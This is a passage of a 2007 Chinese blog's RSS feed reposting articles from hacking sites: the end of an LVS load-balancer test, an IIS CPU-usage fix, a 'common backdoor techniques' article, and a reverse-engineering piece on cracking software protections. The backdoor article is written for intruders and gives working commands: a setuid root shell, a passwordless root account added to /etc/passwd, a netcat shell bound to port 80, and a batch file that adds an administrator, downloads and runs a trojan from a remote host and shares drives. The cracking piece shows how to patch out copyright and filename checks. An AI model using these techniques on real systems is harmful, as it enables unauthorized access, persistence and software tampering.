																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>我是real server #1 or #2</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　然后刷新几次页面（http://192.168.0.101/test.html），如果你看到“我是real server #1”和“我是real server #2”交替出现，说明www的LVS系统已经正常工作了。 
</p>
																														<p>　　但是由于Internet Explore 或者Netscape本身的缓存机制，你也许总是只能看到其中的一个。不过通过ipvsadm还是可以看出，页面请求已经分配到两个Real Server上了，如下所示： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>IP Virtual Server version 1.0.6 (size=4096) 
Prot LocalAddress:Port Scheduler Flags 
-&gt; RemoteAddress:Port       Forward Weight ActiveConn InActConn 
TCP 192.168.0.101:telnet rr 
-&gt; rs2:telnet Route 1 0 0 
-&gt; rs1:telnet Route 1 0 0 
TCP 192.168.0.101:www rr 
-&gt; rs2:www Route 1 0 5 
-&gt; rs1:www Route 1 0 4</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　或者，可以采用linux的lynx作为测试客户端，效果更好一些。如下运行命令： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>[root@client /root]while true; do lynx -dump  
http://10.64.1.56/test.html; sleep 1; done</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　这样，每隔1秒钟“我是realserver #1”和“我是realserver #2”就交替出现一次，清楚地表明响应分别来自两个不同的Real Server。</p>
																												</font>
																										</div>
																								</td>
																						</tr>
																				</tbody>
																		</table>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/lycou/aggbug/22523.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/lycou/" target="_blank">Lycou' Blog</a> 2007-02-01 15:53 <a href="http://www.cnitblog.com/lycou/articles/22523.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IIS问题：inetinfo.exe占用CPU 100％的原因及解决方法 </title><link>http://www.cnitblog.com/lycou/articles/22522.html</link><dc:creator>Lycou' Blog</dc:creator><author>Lycou' Blog</author><pubDate>Thu, 01 Feb 2007 07:52:00 GMT</pubDate><guid>http://www.cnitblog.com/lycou/articles/22522.html</guid><wfw:comment>http://www.cnitblog.com/lycou/comments/22522.html</wfw:comment><comments>http://www.cnitblog.com/lycou/articles/22522.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/lycou/comments/commentRss/22522.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/lycou/services/trackbacks/22522.html</trackback:ping><description><![CDATA[
		<table style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td style="FONT-SIZE: 12pt; COLOR: #ff6600" align="middle" height="32">IIS问题：inetinfo.exe占用CPU 100％的原因及解决方法</td>
						</tr>
						<tr>
								<td align="middle" bgcolor="#f7f7f7" height="25">作者：佚名  来源：转载  发布时间：2007-1-31 9:57:21  发布人：<font color="#ff0000">黑客动画吧</font></td>
						</tr>
						<script language="javascript"><![CDATA[
var newasp_fontsize=9;
var newasp_lineheight=12;
                                    ]]&gt;</script>
						<tr>
								<td>
										<p align="right">
												<a title="减小字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&gt;8){NewaspContentLabel.style.fontSize=(--newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(--newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/1.gif" width="15" border="0" />
														<font color="#ff6600">减小字体</font>
												</a>
												<a title="增大字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&lt;64){NewaspContentLabel.style.fontSize=(++newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(++newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/2.gif" width="15" border="0" />
														<font color="#ff6600">增大字体</font>
												</a>
										</p>
										<div class="ContentFont" id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
												<font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">
														<p>netinfo.exe主要用于支持微软<a class="wordstyle" href="http://www.hack58.net/" target="_blank"><font color="#002c99">Windows</font></a> IIS网络服务的除错。这个程序对你系统的正常运行是非常重要的。 <br /><br />属于系统组件，请不要删除！ <br /><br />你出现的情况是某病毒或者木马携带到这个进程当中，需要手动处理即可解决！ <br /><br />inetinfo.exe本身是正常的程序，您说的情况可能是： <br />1、有同名但位置不同的病毒文件存在并运行 <br />2、该文件确实被病毒感染，如果是这样，计算机那就可能被能感染EXE格式文件的病毒感染了 <br /><br />你先停止 OpenSSL.exe和inetinfo.exe 这两个进程，然后再将C：/<a class="wordstyle" href="http://www.hack58.net/" target="_blank"><font color="#002c99">WINDOWS</font></a>/SESTEM/OpenSSL.exe 和C：/<a class="wordstyle" href="http://www.hack58.net/" target="_blank"><font color="#002c99">WINDOWS</font></a>/SESTEM/inetinfo.exe这两个文件删除就OK了。 <br />inetinfo.exe除了再重新出现都是由于OpenSSL.exe 这个东西在作怪，你把OpenSSL.exe 删了，你就会发现inetinfo.exe删了不再出现。 <br />我的也是前两天中了这个东西，经过结束进程删除、直接将文件删除、安全模式下删除、DOS下删除、换了几个杀毒软件后一样清除不了，痛苦之下到这里求救http://zhidao.baidu.com/question/5990378.html <br />但没有结果，最后我在痛苦万分的情况下，用“金山反间谍”的进程管理器分析一下，发现了这个千刀万剐的OpenSSL.exe 。 <br /><br />正常情况下，inetinfo.exe 是 IIS admin Service 或 world wide web publishing service <br /><br />如果你的机器不需要以上两个服务，可以中止以上两个服务 <br /><br />要打开服务管理器，请开始——运行——输入 services.msc即可！</p>
														<p>    今天还在作我的“秀我博客”，正在完善和测试，因为开机时间长了，电脑太慢了所以想注销一下，没想到机器竟然蓝屏了。。。。我晕</p>
														<p>    重启后就出了大问题了，一打开我的页面，cpu就消耗了100%，仔细一看是inetinfo.exe，于是乎到网上又狂搜一顿。。。发现3篇文章写的真是有自信，声称都解决了自己的问题。。。我逐一试验过了，对我没有什么效果。。。真是郁闷啊，终于在看第三篇文章的时候说可能是iis的进程在写日志的时候出现了死循环，所以也去看了下日志，一看就明白了，今天的日志竟然都是乱码，看来是因为刚才死机造成的，赶紧把它删除了，再重新启动iis，打开页面，ok@_@！！狂喜，哈哈！</p>
												</font>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/lycou/aggbug/22522.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/lycou/" target="_blank">Lycou' Blog</a> 2007-02-01 15:52 <a href="http://www.cnitblog.com/lycou/articles/22522.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>黑客技巧系列之常见的一些留后门手法</title><link>http://www.cnitblog.com/lycou/articles/22520.html</link><dc:creator>Lycou' Blog</dc:creator><author>Lycou' Blog</author><pubDate>Thu, 01 Feb 2007 07:51:00 GMT</pubDate><guid>http://www.cnitblog.com/lycou/articles/22520.html</guid><wfw:comment>http://www.cnitblog.com/lycou/comments/22520.html</wfw:comment><comments>http://www.cnitblog.com/lycou/articles/22520.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/lycou/comments/commentRss/22520.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/lycou/services/trackbacks/22520.html</trackback:ping><description><![CDATA[
		<table style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td style="FONT-SIZE: 12pt; COLOR: #ff6600" align="middle" height="32">黑客技巧系列之常见的一些留后门手法</td>
						</tr>
						<tr>
								<td align="middle" bgcolor="#f7f7f7" height="25">作者：hackmaster  来源：www.hack58.net  发布时间：2007-1-31 9:58:58  发布人：<font color="#ff0000">黑客动画吧</font></td>
						</tr>
						<script language="javascript"><![CDATA[
var newasp_fontsize=9;
var newasp_lineheight=12;
                                    ]]&gt;</script>
						<tr>
								<td>
										<p align="right">
												<a title="减小字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&gt;8){NewaspContentLabel.style.fontSize=(--newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(--newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/1.gif" width="15" border="0" />
														<font color="#ff6600">减小字体</font>
												</a>
												<a title="增大字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&lt;64){NewaspContentLabel.style.fontSize=(++newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(++newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/2.gif" width="15" border="0" />
														<font color="#ff6600">增大字体</font>
												</a>
										</p>
										<div class="ContentFont" id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
												<font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">  
<p style="TEXT-INDENT: 2em">对于我们这样的菜手，好不容易搞了台服务器很不容易，如果被发现了就惨了。其实，开后门的方法有很多种，下面我来说说，我以前学习过的几种方法。 
</p><p style="TEXT-INDENT: 2em"><b>1. Setuid</b></p><p style="TEXT-INDENT: 2em"></p><center><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>#cp /bin/sh /tmp/.root
#chmod u+s /tmp/.root</ccid_code></pre></td></tr></tbody></table></ccid_nobr></center><p style="TEXT-INDENT: 2em">加上 suid 位到shell 上，虽然很简单，但容易被发现。 
</p><p style="TEXT-INDENT: 2em"><b>2. Echo "hack::0:0::/:/bin/csh" &gt;&gt; /etc/passwd</b></p><p style="TEXT-INDENT: 2em">即给系统增加一个 ID 为 0（root)的帐号，无口令，但管理员用find命令就可以发现。 
</p><p style="TEXT-INDENT: 2em"><b>3.Echo "+ hack"&gt;&gt;/.rhosts</b></p><p style="TEXT-INDENT: 2em">如果这个系统开了512、513的port，就可以。把一个名为hack加到.rhosts文件中，rlogin登陆，无须密码。 
</p><p style="TEXT-INDENT: 2em"><b>4.修改 Sendmail.cf文件</b></p><p style="TEXT-INDENT: 2em">增加一个"wiz" 命令，然后telnet www.xxx.com 25后，wiz，这就可以了。 
</p><p style="TEXT-INDENT: 2em"><b>5. Rootkit backdoor</b></p><p style="TEXT-INDENT: 2em">这些东西现在是很火热的东西，但小心该后的文件的适用性、日期等等一些小的细节。有的需要自己编译，有的是编译好的。 
</p><p style="TEXT-INDENT: 2em"><b>6.Remote shell</b></p><p style="TEXT-INDENT: 2em">Sunx的那个backdoor就很不错，不会产生日记文件，防止who等等。需要编译，但运行在redhat 6.1很不错。但在7.1等版本中好象就有点bug。 
</p><p style="TEXT-INDENT: 2em">或者可以bindshell，可以替换inetd.conf中不常用的服务，注意文件的修改时间。 
</p><p style="TEXT-INDENT: 2em"><b>7. Http后门</b></p><p style="TEXT-INDENT: 2em">其实，一般的防火墙对Web服务的限制少的很，所以我们可以从这里入手，这里需要用到端口重定向。简单的说就是web开的http服务有2个，一个是http本身，一个是remote shell bindshell。防火墙过滤其他一切port，禁止反向连接，简单的就是可以用nc。（netcat这个）把cmd.exe绑定到80端口上去。telnet www.xxx.com 80 然后就得到一个shell。或者可以利用asp,php.cgi等代码写的后门，也可以作到相同的效果。 
</p><p style="TEXT-INDENT: 2em"><b>8.Bat后门（原创）</b></p><p style="TEXT-INDENT: 2em">如果是xnix服务器，没办法。 
</p><p style="TEXT-INDENT: 2em">Ms服务器： 
</p><p style="TEXT-INDENT: 2em"></p><center><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>backdoor.bat
net user hacker windychild /add
net localgroup administrators hacker /add ...create super admin user
echo open www.xxx.com&gt;c:\ftp.txt
echo xxx&gt;&gt;c:\ftp.txt
echo xxxxxx&gt;&gt;c:\ftp.txt
echo get srv.exe&gt;&gt;c:\ftp.txt
echo bye&gt;&gt;c:\ftp.txt
ftp -s:c:\ftp.txt
copy srv.exe c:\winnt\
c:\winnt\srv.exe
del c:\ftp.txt
del c:\srv.exe ......可以自己设置木马或后门等
....或你可以写上开启3389服务，telnet的语句
其他，开放共享服务！
net share ipc=ipc$
net share hdc=c$
......</ccid_code></pre></td></tr></tbody></table></ccid_nobr></center><p style="TEXT-INDENT: 2em">如果狠点的话，干脆再给它上个rootkit for win。 
</p><p style="TEXT-INDENT: 2em"><b>9.可以利用邮件编码漏洞</b></p><p style="TEXT-INDENT: 2em">自己设置一个base64的编码文件发给你的朋友，然后把后门.exe转换成邮件编码。 
</p><p style="TEXT-INDENT: 2em">其实，上面的方法都是很常见的方法。还有很多方法，一时没办法整理出来，但对于新手来说足够了！ </p></font>
										</div>
										<div>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/lycou/aggbug/22520.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/lycou/" target="_blank">Lycou' Blog</a> 2007-02-01 15:51 <a href="http://www.cnitblog.com/lycou/articles/22520.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>逆向分析看人家怎么保护版权</title><link>http://www.cnitblog.com/lycou/articles/22516.html</link><dc:creator>Lycou' Blog</dc:creator><author>Lycou' Blog</author><pubDate>Thu, 01 Feb 2007 07:49:00 GMT</pubDate><guid>http://www.cnitblog.com/lycou/articles/22516.html</guid><wfw:comment>http://www.cnitblog.com/lycou/comments/22516.html</wfw:comment><comments>http://www.cnitblog.com/lycou/articles/22516.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/lycou/comments/commentRss/22516.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/lycou/services/trackbacks/22516.html</trackback:ping><description><![CDATA[
		<table style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td style="FONT-SIZE: 12pt; COLOR: #ff6600" align="middle" height="32">逆向分析看人家怎么保护版权</td>
						</tr>
						<tr>
								<td align="middle" bgcolor="#f7f7f7" height="25">作者：asm[C.R.S.T]  来源：邪恶八进制信息安全团队  发布时间：2007-2-1 0:47:18  发布人：<font color="#ff0000">黑客动画吧</font></td>
						</tr>
						<script language="javascript"><![CDATA[
var newasp_fontsize=9;
var newasp_lineheight=12;
                                    ]]&gt;</script>
						<tr>
								<td>
										<p align="right">
												<a title="减小字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&gt;8){NewaspContentLabel.style.fontSize=(--newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(--newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/1.gif" width="15" border="0" />
														<font color="#ff6600">减小字体</font>
												</a>
												<a title="增大字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&lt;64){NewaspContentLabel.style.fontSize=(++newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(++newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/2.gif" width="15" border="0" />
														<font color="#ff6600">增大字体</font>
												</a>
										</p>
										<div class="ContentFont" id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
												<font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">不知道大家写程序是怎么保护版权的。不过最近偶碰到两种思路比较好的，偶通过逆向分析把它们弄出来和大家分享 ^_^<br />  　　第一种是保护方式是明小子旁注工具里面的。它的标题是："旁注WEB检测综合利用工具 [黑客动画吧出品 - 明小子]。改过版权的人都会知道怎么去修改这样的东东。利用VC资源编辑器选择二进制的方式打开文件，然后查找要修改的字符，把自己喜好的文字填进去就行了。但是你们是否发现，无论怎么弄，后面的“[黑客动画吧出品 - 明小子]”总是无法修改，一改，旁注工具一运行，就自己退出了。不知道改过这个工具的人有无注意。现在我们来看一下其中的猫腻。先把它的壳给扒了（壳是UPX，很容易扒的），用IDA载入查看。等等，我们先设想一下，旁注工具是怎么样保护这几个字符不被修改：先在一个缓冲区保存“[黑客动画吧出品 - 明小子]”，待启动工具后，对比一下标题部分是否和这个缓冲区里保存的字符等于，如果等，继续执行，如果不等，就out。这个是偶设想的，现在就来看看IDA里吧，我们快速通过IDA查找文本找是否发现这些字符。查看反汇编代码:<br />　　<br /><div><b>CODE:</b></div><div><br />CODE:005A55D6           mov   eax, [ebp-14h]<br />CODE:005A55D9           push   eax<br />CODE:005A55DA           mov   edx, offset s_VwebTVer3_5C0 ; "旁注WEB综合检测程序 Ver3.5正式版 (05.7."...<br />CODE:005A55DF           pop   eax<br />CODE:005A55E0           call   sub_404758<br />CODE:005A55E0<br />CODE:005A55E5           jnz   short loc_5A5603<br />CODE:005A55E5<br />CODE:005A55E7           lea   edx, [ebp-18h]<br />CODE:005A55EA           mov   eax, [ebp-4]<br />CODE:005A55ED           call   sub_476D74<br />CODE:005A55ED<br />CODE:005A55F2           mov   edx, [ebp-18h]<br />CODE:005A55F5           mov   eax, offset s_PN-B ; "黑客动画吧出品 - 明小子"<br />CODE:005A55FA           call   sub_404950     <br />CODE:005A55FA<br />CODE:005A55FF           test   eax, eax<br />CODE:005A5601           jnz   short loc_5A5633<br /></div><div>[Copy to clipboard]</div><br /><br />  看到没,"黑客动画吧出品 - 明小子"的字符已经保存到eax中。接着调用sub_404950来检测是否一样,eax是否等于零，也就是字符串是否相同，如果是，就继续执行。如果比较失败，那么就跳到loc_5A5633处。现在来看一下loc_5A5633这个地址处的代码：<br /><div><b>CODE:</b></div><div><br />CODE:005A5633 loc_5A5633:                   ; CODE XREF: CODE:005A5601&#x18;j<br />CODE:005A5633           xor   eax, eax<br />CODE:005A5635           pop   edx<br />CODE:005A5636           pop   ecx<br />CODE:005A5637           pop   ecx<br />CODE:005A5638           mov   fs:[eax], edx<br />CODE:005A563B           push   offset loc_5A5662<br /></div><div>[Copy to clipboard]</div><br /><br />  很明显，它在为退出做准备，恢复了积存器的值。现在我们来总结一下，它的执行流程是：把 "黑客动画吧出品 - 明小子"字符串存到eax，然后调用sub_404758来查询。当eax等于0的时候，查询成功；不等于0的时候，就到 loc_5A5633恢复所有堆栈。到这里，就很明显，我们可以这样来完全改掉它的版权。把jnz   short loc_5A5633改成 je   short loc_5A5633。查询失败，照样去执行。下面根据这种保护版权的方式，偶给个简单的直观的模拟代码:<br /><br /><div><b>CODE:</b></div><div><br />;*******************************************************************<br />;程序编写by Asm<br />;日期：2007-1-24日<br />;出处：<a href="http://www.wolfexp.net/" target="_blank"><font color="#002c99">http://www.wolfexp.net/</font></a>（红狼安全小组）<br />;注意事项：如欲转载，请保持本程序的完整，并注明：<br />;转载自 红狼安全小组(<a href="http://www.wolfexp.net/" target="_blank"><font color="#002c99">http://www.wolfexp.net/</font></a>)<br />;*******************************************************************<br />.386<br />.model flat,stdcall<br />option casemap:none<br />include <a class="wordstyle" href="http://www.hack58.net/" target="_blank"><font color="#002c99">windows</font></a>.inc<br />include user32.inc<br />includelib     user32.lib<br />include kernel32.inc<br />includelib     kernel32.lib<br />.data<br />szText           db 'asm是好男人 ^_^ 测试一下',0<br />szCaption       db '[这里你就不能乱来了]',0<br />szFileText       db   '[这里你就不能乱来了]',0<br />.code<br />start:<br />  jz Vstart<br />  jnz Vstart<br />  db 0E8h <br />Vstart:<br />  lea ebx, szCaption<br />  lea ecx, szFileText<br />  invoke lstrcmp,ecx,ebx<br />    .if eax == NULL<br />invoke MessageBox,NULL,addr szText,ebx,MB_OK<br />invoke ExitProcess,NULL<br />.elseif<br />invoke ExitProcess,NULL<br />.endif<br />;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />end start<br /></div><div>[Copy to clipboard]</div><br /><br />    下面再来看一下QQ是怎么对自己进行保护的。首先我们得发现问题，比如2006年最新版本的QQ，是不允许改名，如果你把QQ.EXE改成11111111.exe，QQ会无情地提示：“QQ程序出错，请重新安装”够叼吧？改个名字都不行，更别说要对QQ本身进行数据修改。按照第一种破解方法的提示，我们是否要寻找：“QQ程序出错，请重新安装”这个字符串？当初我也是这么认为，不过用IDA查找之后才发现，那是没用的。这个字符本身就存在文件本身，但是反汇编后就找不到。所以我猜想，QQ还有另外一种保护方法，那是什么捏？你问我，我问谁去？既然改了QQ，就执行不了，那么，是否和"QQ.exe"这个字符串有关系捏？在IDA里找了一下，找到两处地方是"QQ.exe"，其中这里最有价值：<br /><br /><div><b>CODE:</b></div><div><br />.text:0040187A           push   offset s_Qq_exe ; "QQ.exe"<br />.text:0040187F           push   eax<br />.text:00401880           lea   eax, [ebp-28h]<br />.text:00401883           xor   edi, edi<br />.text:00401885           push   eax<br />.text:00401886           mov   [ebp-4], edi<br />.text:00401889           call   operator+(CString const &amp;,char const *)<br />.text:00401889<br />.text:0040188E           lea   ecx, [ebp-30h]<br />.text:00401891           mov   byte ptr [ebp-4], 2<br />.text:00401895           call   CString::~CString(void)<br />.text:00401895<br />.text:0040189A           push   dword ptr [ebp-28h]<br />.text:0040189D           mov   ecx, esi<br />.text:0040189F           call   sub_4030D9 ;调用这个地址处的函数判断<br />.text:0040189F<br />.text:004018A4           test   eax, eax ;是不是很熟悉？<br />.text:004018A6           jnz   short loc_4018C0 ;开始判断QQ执行程序的名字是否QQ.exe<br /></div><div>[Copy to clipboard]</div><br />  如果这里，eax不等于0，就执行成功，来到loc_4018C0。也就是对比程序名字一样的时候，就到这里了：<br /><div><b>CODE:</b></div><div><br />loc_4018C0:<br />movzx   ebx, byte ptr [esi+0CEh]<br />movzx   eax, byte ptr [esi+0CFh]<br />imul   ebx, 64h<br />lea   ecx, [ebp-38h]<br />add   ebx, eax<br />call   CString::CString(void)<br />lea   eax, [ebp-30h]<br />mov   byte ptr [ebp-4], 3<br />push   eax<br />call   ds:GetExeFolder(void)<br />mov   [esp+7Ch+var_7C], offset s_Qqliveupdate_ ; "QQLiveUpdate.exe"<br />push   dword ptr [eax]<br />lea   eax, [ebp-38h]<br />mov   byte ptr [ebp-4], 4<br />push   offset s_SS   ; "%s%s"<br />push   eax<br />call   CString::Format(char const *,...)<br /></div><div>[Copy to clipboard]</div><br /><br />  到这里后，它会判断是否已经升级，如果没有，就执行QQLiveUpdate.exe程序进行升级。好，现在我们来看若是QQ名不一样的时候，它会怎么做：<br /><br /><div><b>CODE:</b></div><div><br />push   0FFFFFFFFh<br />push   edi<br />push   4<br />call   AfxMessageBox(uint,uint,uint) ;该死的，在这里提示QQ程序错误，请重新安装！<br />mov   eax, [ebp+8]<br />mov   dword ptr [eax], 1<br /><br />loc_401F8C:<br />mov   ecx, [ebp-0Ch]<br />pop   edi     ;恢复积存器准备退出了。这个家伙！<br />pop   esi<br />pop   ebx<br />mov   large fs:0, ecx<br />leave<br />retn   4<br />sub_40184A endp ; sp = 4<br /></div><div>[Copy to clipboard]</div><br />  目前为止，偶已经明白了QQ是通过判断程序名字来决定是否启动QQ。够叼！就是这个害我搞了一个晚上，AV都木得看，日！废话少说，它不是eax不等于0就代码程序名字一样，就跳到loc_4018C0么，我们把指令改成，当eax等于0的时候，也就是程序名字不一样的时候，也跳到loc_4018C0。破戒的人都知道，把JNZ改成JE就行了，多简单呀 ^_^ 下面是模拟它这种保护方法的一个简单的汇编代码：<br /><div><b>CODE:</b></div><div><br />;*******************************************************************<br />;程序编写by Asm<br />;日期：2007-1-24日<br />;出处：<a href="http://www.wolfexp.net/" target="_blank"><font color="#002c99">http://www.wolfexp.net/</font></a>（红狼安全小组）<br />;注意事项：如欲转载，请保持本程序的完整，并注明：<br />;转载自 红狼安全小组(<a href="http://www.wolfexp.net/" target="_blank"><font color="#002c99">http://www.wolfexp.net/</font></a>)<br />;*******************************************************************<br />.386<br />.model flat,stdcall<br />option casemap:none<br />include <a class="wordstyle" href="http://www.hack58.net/" target="_blank"><font color="#002c99">windows</font></a>.inc<br />include user32.inc<br />includelib user32.lib<br />include kernel32.inc<br />includelib kernel32.lib<br />.data<br />FileNameOfAsm db 156 dup(0)<br />FileName db 156 dup(0)<br />lpBuffer db 156 dup(0)<br />szFile db '\asm.exe',0<br />szText db '当你看到这里，说明程序的名字和原来一样',0<br />.data?<br />dwSize DWORD ?<br />lpLength DWORD ?<br />.code<br />start:<br />invoke GetModuleFileName,NULL,addr FileName,addr dwSize<br />invoke GetCurrentDirectory,addr lpLength,addr lpBuffer<br />invoke lstrcat,addr FileNameOfAsm,addr lpBuffer<br />invoke lstrcat,addr FileNameOfAsm,addr szFile<br />invoke lstrcmp,addr FileNameOfAsm,addr FileName<br />.if eax == NULL<br />invoke MessageBox,NULL,addr szText,ebx,MB_OK ;查询程序名字正确，这里开始程序运行。<br />invoke ExitProcess,NULL<br />.elseif<br />invoke ExitProcess,NULL<br />.endif<br />;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />end start<br /></div></font>
										</div>
										<div>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/lycou/aggbug/22516.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/lycou/" target="_blank">Lycou' Blog</a> 2007-02-01 15:49 <a href="http://www.cnitblog.com/lycou/articles/22516.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WEB漏洞挖掘技术</title><link>http://www.cnitblog.com/lycou/articles/22515.html</link><dc:creator>Lycou' Blog</dc:creator><author>Lycou' Blog</author><pubDate>Thu, 01 Feb 2007 07:48:00 GMT</pubDate><guid>http://www.cnitblog.com/lycou/articles/22515.html</guid><wfw:comment>http://www.cnitblog.com/lycou/comments/22515.html</wfw:comment><comments>http://www.cnitblog.com/lycou/articles/22515.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/lycou/comments/commentRss/22515.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/lycou/services/trackbacks/22515.html</trackback:ping><description><![CDATA[
		<table style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td style="FONT-SIZE: 12pt; COLOR: #ff6600" align="middle" height="32">WEB漏洞挖掘技术</td>
						</tr>
						<tr>
								<td align="middle" bgcolor="#f7f7f7" height="25">作者：7all  来源：安全焦点  发布时间：2007-2-1 0:49:53  发布人：<font color="#ff0000">黑客动画吧</font></td>
						</tr>
						<script language="javascript"><![CDATA[
var newasp_fontsize=9;
var newasp_lineheight=12;
                                    ]]&gt;</script>
						<tr>
								<td>
										<p align="right">
												<a title="减小字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&gt;8){NewaspContentLabel.style.fontSize=(--newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(--newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/1.gif" width="15" border="0" />
														<font color="#ff6600">减小字体</font>
												</a>
